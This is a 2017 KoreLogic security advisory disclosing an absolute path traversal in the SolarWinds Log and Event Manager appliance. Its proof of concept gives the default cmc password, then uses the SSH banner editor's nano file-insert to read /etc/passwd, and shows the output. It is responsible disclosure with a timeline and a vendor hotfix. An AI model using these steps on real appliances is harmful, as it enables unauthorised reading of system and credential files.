KL-001-2017-008 : Solarwinds LEM Management Shell Arbitrary File Read

From: KoreLogic Disclosures <disclosures@korelogic.com>
To: fulldisclosure@seclists.org,bugtraq@securityfocus.com
Subject: KL-001-2017-008 : Solarwinds LEM Management Shell Arbitrary File Read

KL-001-2017-008 : Solarwinds LEM Management Shell Arbitrary File Read

Title: Solarwinds LEM Management Shell Arbitrary File Read
Advisory ID: KL-001-2017-008
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-008.txt

1. Vulnerability Details

     Affected Vendor: Solarwinds
     Affected Product: Log and Event Manager Virtual Appliance
     Affected Version: v6.3.1
     Platform: Embedded Linux
     CWE Classification: CWE-36: Absolute Path Traversal
     Impact: Information Disclosure
     Attack vector: SSH

2. Vulnerability Description

     The management shell allows the end user to edit the MOTD banner
     displayed during SSH logon. The editor provided for this is
     nano. This editor has a keyboard mapped function which lets
     the user import a file from the local file system into the
     editor. An attacker can abuse this to read arbitrary files
     within the allowed permissions.

3. Technical Description

     Should an attacker gain access to the SSH console for the
     cmc user, read access to files on the local filesystem can be
     achieved. The default password for the cmc user is "password".

     This is accomplished by abusing the editor selection for the
     MOTD banner edit functionality.

     $ ssh cmc@
     Linux swi-lem 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64
     Last login: Sun Dec 11 11:35:29 2016 from
       ///       SolarWinds Log & Event Manager       ///
       ///                   management console       ///

     Detected VMware Virtual Platform
     Product Support Key: RPFYJ-2L3RW-RV5T-GA3K-VLULC-XAPTH
     Available commands:
       [ appliance ]  Network, System
       [ manager ]    Upgrade, Debug
       [ service ]    Restrictions, SSH, Snort
       [ ndepth ]     nDepth Configuration/Maintenance
         upgrade      Upgrade this Appliance
         admin        Run Admin UI (for better usability browse
         import       Import a file that can be used from the Admin UI
         help         display this help
         exit         Exit
     cmc > appliance
     Available commands:
         activate           Activate appliance features after licensing.
         checklogs          Check Appliance Logs for Remote Data
         clearsyslog        Clear Syslog Logs
         cleantemp          * Clean Up Temporary Files
         multimanagerconfig * Enable/disable multimanager
         dateconfig         Update Date and Time
         dbdiskconfig       * Configure database retention
         diskusage          Check Disk Usage of your Manager
         diskusageconfig    Set Disk Usage Limit of your Manager
         editbanner         Edit the SSH login banner.
         exportsyslog       Export System Logs
         hostname           Change the Manager Appliance hostname
         import             Import SIM/LEM Backup to LEM
         limitsyslog        Configure the syslog rotation limit (default: 50)
         setlogrotate       Configure the syslog rotation frequency (hourly or daily)
         netconfig          Configure Network Parameters (IP Address, Netmask, DNS)
         ntpconfig          Update NTP Server Preferences
         password           Change the CMC User Password
         ping               Ping an IP address or hostname
         reboot             Reboot the Manager Appliance
         resetsystemmac     Reset the MAC address of the Appliance
         shutdown           Shut Down the Manager Appliance
         top                View Manager Appliance CPU/Memory Utilization
         tzconfig           Update Time Zone information
         viewnetconfig      View Network Parameters (IP address, netmask, DNS)
         exit               Return to main menu

         NOTE: Commands with an asterisk (*) include an automatic manager service restart
     cmc::appliance > editbanner
     Press <enter> to configure the SSH banner.

     Once inside nano, ^R to get the screen below:

     File to insert [from ./] : /etc/passwd
     ^G Get Help
     ^C Cancel

     The result will be:

     list:x:38:38:Mailing List Manager:/var/list:/bin/sh
     gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
     postgres:x:101:104:PostgreSQL administrator,,,:/var/lib/postgres:/bin/bash
     snort:x:103:105:Snort IDS:/var/log/snort:/bin/false

4. Mitigation and Remediation Recommendation

     The vendor has released a Hotfix to remediate this
     vulnerability. Hotfix and installation instructions are
     available at:


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     and Hank Leininger of KoreLogic, Inc.

6. Disclosure Timeline

     2017.02.16 - KoreLogic sends vulnerability report and PoC to
                  Solarwinds <psirt@solarwinds.com> using PGP key
                  with fingerprint
                  A86E 0CF6 9665 0C8C 8A7C  C9BA B373 8E9F 951F 918F.
     2017.02.20 - Solarwinds replies that the key is no longer in
                  use, requests alternate communication channel.
     2017.02.22 - KoreLogic submits vulnerability report and PoC to
                  alternate Solarwinds contact.
     2017.02.23 - Solarwinds confirms receipt of vulnerability
     2017.04.06 - 30 business days have elapsed since Solarwinds
                  acknowledged receipt of vulnerability details.
     2017.04.11 - Solarwinds releases hotfix and public disclosure.
     2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description

The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.

Our public vulnerability disclosure policy is available at:

Copyright © 1995-2018 LinuxRocket.net. All rights reserved.